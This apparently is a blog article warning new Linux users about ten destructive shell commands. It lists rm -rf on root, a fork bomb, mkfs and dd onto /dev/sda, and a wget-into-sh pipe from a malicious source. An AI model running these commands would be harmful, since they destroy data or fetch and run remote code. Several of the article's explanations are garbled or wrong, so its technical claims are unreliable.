SHARE
Advertisements

Linux commands

Linux terminal is one of the most powerful tools in the Linux OS world. You can do anything with Linux terminal, whatever you want. Linux command lines are more interesting, useful and productive features. But it may be very dangerous, especially when you don’t know what you are doing. Even a small mistake can lead to lose your data and operating system too. A new Linux user should be very careful while executing the commands. We just want to make you aware of some of the commands which you should think before execute them.

Also Read: How To Run Your Favorite Android Apps On Linux Operating System

Advertisements

Here are the 10 most Deadly Linux command which you should know before execute them.

1. rm –rf

The rm –rf command is one of the fastest way to erase your entire files and even entire content. This command leads to a lot of loss.

Advertisements
  • rm: rm commands in Linux are used to erase/delete files.
  • rm –r: this command used to delete the folder recursively and empty the folder.
  • rm –f: this command leads to “Read only files” without asking.
  • rm-rf/: this command will delete  everything in the root directory.
  • rm –rf*: This command leads to force deletion of everything in current directory/working directory.
  • rm –rf: Force deletion of current folder and sub folders.

2. :(){:|:&};: Command

The above command is well known as a fork bomb. This is actually a bush function which creates a copy of itself, once in the foreground and once in the background. The process replicates continuously itself and this can lead to freeze your computer. It happens because of consumption of a lot of RAM.

3. command> / dev /sda

It runs a command send output directly to your HDD (Hard Disk Drive) and thereby crashing it. It replaces all the files on the block with “Raw data” i.e. writes raw data directly to HDD.

4. My folder /dev/null

The above command will move your file to “NULL”. That means it delete all the files and destroy your whole data.

Must Read: Top 5 Reasons Why You Should Switch To Linux?

Advertisements

5. get http://malicious _source_o_ | sh

The above command will download the script from “malicious source” then execute it. wget will download the script and “sh” will run the download script from malicious source. So beware before running the script.

6. Mkfs.ext3 / dev /sda

The above command creates a new “ext3” file system on the device. It formats the block “sda (it specifies a partition on the HDD)” and resets all the data on the HDD.

Advertisements

7. > File

It releases the file content and it leads to a lot of damage when there is slightly mistaken in command.

  • “> xt.conf”: It will write the configuration file or any other system or configuration file.

8. ^ foo ^ bar

The above command edits the previous run command without the need of retyping the whole command again. So, you can check the change in the original command through “^ foo ^ bar” command.

9. dd if=/dev/random of =/dev/sda

The above command writes junk on your hard drive and it would be left your system at the inconsistent and unrecoverable state.

10. Hidden command / invisible command

This is very similar to “first command rm-rf” that codes are invisible and running this code terminates and erase your partition completely.

Hope you enjoyed this article. Do let me know if we miss any other dangerous command via comment below. Don’t forget to share this article with colleague and must follow us on Twitter.

Advertisements